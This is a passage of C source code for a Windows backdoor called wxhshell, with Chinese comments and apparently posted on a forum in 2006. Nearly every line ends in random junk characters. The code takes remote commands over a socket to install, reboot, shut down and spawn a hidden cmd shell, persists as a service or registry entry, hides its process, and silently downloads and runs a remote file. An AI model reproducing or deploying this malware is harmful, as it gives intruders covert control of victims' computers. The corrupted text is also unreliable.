  case '?': { 'r=2f6G>cP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W8`6O2  
    break; hwk] ;6[  
  } >4bw4 Z1  
  // 安装 X`<z5W] !  
  case 'i': { [pms>TQ2  
    if(Install()) s8A"x`5(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^%%Rf  
    else "&XhMw4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (8~mf$ zx,  
    break; V*JqC  
    } #5y+gdN  
  // 卸载 8=bn TJf  
  case 'r': { P;(@"gD8z5  
    if(Uninstall()) #/I+[|=[O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f.` 8vaV  
    else q9x@Pc29d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cl#XiyK>  
    break; N (\n$bpTt  
    } 5jK|  
  // 显示 wxhshell 所在路径 (eb65F@P  
  case 'p': { z( ^?xv  
    char svExeFile[MAX_PATH]; <x$nw'H9  
    strcpy(svExeFile,"\n\r"); **-rPonM[  
      strcat(svExeFile,ExeFile); UazK0{t<f  
        send(wsh,svExeFile,strlen(svExeFile),0); RJ3uu NK7  
    break; 5WHqD!7u  
    } o *U-.&  
  // 重启 vS ( Y_6  
  case 'b': { nQ'NS  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sBWyUD  
    if(Boot(REBOOT)) HQF@@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); oFyB-vpYQV  
    else { xc'uC bH  
    closesocket(wsh); VWd`06'BN'  
    ExitThread(0); 9T2_2  
    } f@9XSZ<.71  
    break; 1Q^u#m3  
    } nT 4Ryld  
  // 关机 Ht43G_.j  
  case 'd': { }X])055S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LIJ#nb  
    if(Boot(SHUTDOWN)) !iHC++D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ' rXf  
    else { N?S;v&q+  
    closesocket(wsh); 'G[G;?F  
    ExitThread(0); H{_D#It  
    } 5`}za-  
    break; O)R}|  
    } Y]~-S  
  // 获取shell ;j~%11  
  case 's': { +p _?ekV\  
    CmdShell(wsh); lZkJ<*z#  
    closesocket(wsh); ?t}s3P!Q3w  
    ExitThread(0); ]) v61B  
    break; IrRe6nf@K  
  } F `F|.TX  
  // 退出 |gk4X%o6  
  case 'x': { L B.B w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +F,])p4,]i  
    CloseIt(wsh); i,;a( Sy4  
    break; y] 9/Xr/  
    } uDcs2^2l  
  // 离开 E>#@ H  
  case 'q': { 9A{D<h}yk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n}9<7e~/  
    closesocket(wsh); 9I5AYa?  
    WSACleanup(); ,[N(XstI  
    exit(1); Q|VBH5}1O  
    break; : maBec)  
        } n<)A5UB5-  
  } 39[ylR|\  
  } 9%R"(X)  
nT~XctwF  
  // 提示信息 M d Eds|D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K}n.k[Do  
} j,%i.[8S  
  } U7fNA7#x"  
li{<F{7  
  return; '9qyf<MlY  
} Vnb@5W2\  
xz} CqPJ#  
// shell模块句柄 A#Ga!a  
int CmdShell(SOCKET sock) Pec40g:#F  
{ 3ohHBo  
STARTUPINFO si; N*PJ m6-  
ZeroMemory(&si,sizeof(si)); 3,!IV"_  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 247vU1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `6YN/"unfp  
PROCESS_INFORMATION ProcessInfo;  D5Jg(-  
char cmdline[]="cmd"; V2;Nv\J\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Az(,Q$"|5  
  return 0; gDw(_KC  
} &_@M 6[-  
7^@ 1cA=S  
// 自身启动模式 2=<,#7zlJ  
int StartFromService(void) } nIYNeP?D  
{ !Dc;R+Ir0!  
typedef struct I"8Z'<|/\q  
{ Uw5&.aqn.b  
  DWORD ExitStatus; cJSwA&  
  DWORD PebBaseAddress; .R4,fCN  
  DWORD AffinityMask; TR `C|TV>  
  DWORD BasePriority; Zu~t )W  
  ULONG UniqueProcessId; 4v(?]]X  
  ULONG InheritedFromUniqueProcessId; a~!7A ZT-O  
}   PROCESS_BASIC_INFORMATION; Mu.oqT  
9)[)0 7  
PROCNTQSIP NtQueryInformationProcess; .W9 *-  
P uQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U5F1m]gFr  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bz,"TG[  
=_6 Q26  
  HANDLE             hProcess; yk^2<?z>2  
  PROCESS_BASIC_INFORMATION pbi; #K`[XA  
(KvN#d 1\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %Zfh6Bl\X  
  if(NULL == hInst ) return 0; <)J@7@!P  
A??a:8id^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1?"Zrd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \O~WMN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fI.X5c>WK  
p2O[r  
  if (!NtQueryInformationProcess) return 0; 1b7?6CqV  
P=E10  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); TL -AL tG  
  if(!hProcess) return 0; KZ=5"a  
V.+a}J=Cw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fy>g*3  
E3x<o<v  
  CloseHandle(hProcess); :a=]<_*x  
Ir- 1@_1Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) 5x$J01S  
if(hProcess==NULL) return 0; fkk9&QB%(  
iP9Dr<P  
HMODULE hMod; Y{t}sO%A  
char procName[255]; _?$')P|  
unsigned long cbNeeded; R$it`0D4o  
t`Xx\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hy~KY6Ta  
^g<Lu/5w  
  CloseHandle(hProcess); sAK&^g  
nxm*.&#p?  
if(strstr(procName,"services")) return 1; // 以服务启动 k<o<!   
>RiU/L  
  return 0; // 注册表启动 ~X;sa,)L1+  
} >;s2V_d  
oChf&W 8u  
// 主模块 2@&"*1(Xu  
int StartWxhshell(LPSTR lpCmdLine) 0'zjPE#  
{ ~PN[ #e]  
  SOCKET wsl; gaU^l73 ,C  
BOOL val=TRUE; I'<sJs*p  
  int port=0; 5mZ9rLn  
  struct sockaddr_in door; {-|El}.M  
_JKz5hSl  
  if(wscfg.ws_autoins) Install(); =wl0  
G+3uY25y  
port=atoi(lpCmdLine); %2?"x*A  
ZS&lXgo  
if(port<=0) port=wscfg.ws_port; nXh<+7  
f\:I1y  
  WSADATA data; Z#GR)jb+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \x_$Pu  
0U2dNLc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   On+0@hh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); B]>rcjD  
  door.sin_family = AF_INET; LsK fCB}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eW_EWVH  
  door.sin_port = htons(port); EYZ,GT-I  
YIl,8! z~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %!L*ec%,  
closesocket(wsl); OJ7y  
return 1; ?xE'i[F @  
} GlT/JZ9  
XpT})AV  
  if(listen(wsl,2) == INVALID_SOCKET) { a7]Z_Gk  
closesocket(wsl); hg `N`O  
return 1; ,nw5 M.D_  
} ]/mRMm9"3h  
  Wxhshell(wsl); Yp $@i20  
  WSACleanup(); w#sP5qKv8  
S~y.>X3"P  
return 0; z+?48 }  
Ap}`Q(.  
} _`9WNJiL  
uVw|jj  
// 以NT服务方式启动 =mxj2>,&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "W"r0"4  
{ *MN("<A_  
DWORD   status = 0; t\ 9Y)d  
  DWORD   specificError = 0xfffffff; }sfv zw_  
L%.=Sb mS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XfwH1n/o#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (8GA;:G7G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; d5=yAn-+=  
  serviceStatus.dwWin32ExitCode     = 0; wY7+E/  
  serviceStatus.dwServiceSpecificExitCode = 0; 3cFvS[JG  
  serviceStatus.dwCheckPoint       = 0; :XO7#P  
  serviceStatus.dwWaitHint       = 0; c{/KkmI  
Nw3IDy~T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k%LsjN.S  
  if (hServiceStatusHandle==0) return; NB&zBJ#  
T(*A0  
status = GetLastError(); t`x_@pr  
  if (status!=NO_ERROR) e/IVZmUn^  
{ 2-wgbC5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Uetna!ABB  
    serviceStatus.dwCheckPoint       = 0; Sr6?^>A@t  
    serviceStatus.dwWaitHint       = 0; bB.Yq3KI  
    serviceStatus.dwWin32ExitCode     = status; DJH,#re>  
    serviceStatus.dwServiceSpecificExitCode = specificError; leJ3-w{ 2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0h"uJco,  
    return; #pMpGw$  
  } RgVg~?A@  
'/F~vSQsR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o@|kq1m8  
  serviceStatus.dwCheckPoint       = 0; !p 70g0+  
  serviceStatus.dwWaitHint       = 0; xb^M33-y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E._/PB  
} fH_Xm :%  
I8:G:s:  
// 处理NT服务事件,比如:启动、停止 'i8?]` T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V}t8H  
{ J2$ =H1-  
switch(fdwControl) I,?!NzB  
{ 7FP @ vng  
case SERVICE_CONTROL_STOP: +|spC  
  serviceStatus.dwWin32ExitCode = 0; ; 5!8LmZ0#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FVoKNaK-  
  serviceStatus.dwCheckPoint   = 0; + hMF\@  
  serviceStatus.dwWaitHint     = 0; NJ!}(=1|K  
  { D+Z,;XZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vP/sG5$x  
  } ;DI"9  
  return; g_MxG!+(V  
case SERVICE_CONTROL_PAUSE: 2}#VB;B  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -"n8Wv  
  break; yTU'voE.|  
case SERVICE_CONTROL_CONTINUE: SQf.R%cg$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a~`,zQ -@  
  break; %A;s 3 ]V  
case SERVICE_CONTROL_INTERROGATE: ?B:],aztf  
  break; 4yRX{Bl|  
}; @XX7ydG5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d>1#|  
} 7e<\11uI]a  
v7D3aWoe  
// 标准应用程序主函数 KKJa?e`C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ouRDO  
{ lKy4Nry9  
U{-[lpd  
// 获取操作系统版本 c}#(,<8X  
OsIsNt=GetOsVer(); @-}!o&G0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Z+! 96LR  
-<gQ>`(0  
  // 从命令行安装 x!9bvQT  
  if(strpbrk(lpCmdLine,"iI")) Install(); !o/;"'&E  
Yk#$-"c/a  
  // 下载执行文件 l)91v"vJ  
if(wscfg.ws_downexe) { VV=6v;u`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]hA]o7 k  
  WinExec(wscfg.ws_filenam,SW_HIDE); uBBW2  
} \AB*C_Ri  
;Q%3WD  
if(!OsIsNt) { I6F $@  
// 如果时win9x,隐藏进程并且设置为注册表启动 R2nDK7j  
HideProc(); (`K ~p Z  
StartWxhshell(lpCmdLine); ;JR_z'<  
} bn"z&g   
else ~1.~4~um  
  if(StartFromService()) ; WsV.n  
  // 以服务方式启动 f n\&%`U  
  StartServiceCtrlDispatcher(DispatchTable); $*dY f  
else !EO 2  
  // 普通方式启动 kpO+  
  StartWxhshell(lpCmdLine); +8V |  
kX]p;C  
return 0; 7#iT33(3  
}
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只看该作者 1 发表于: 2006-10-10
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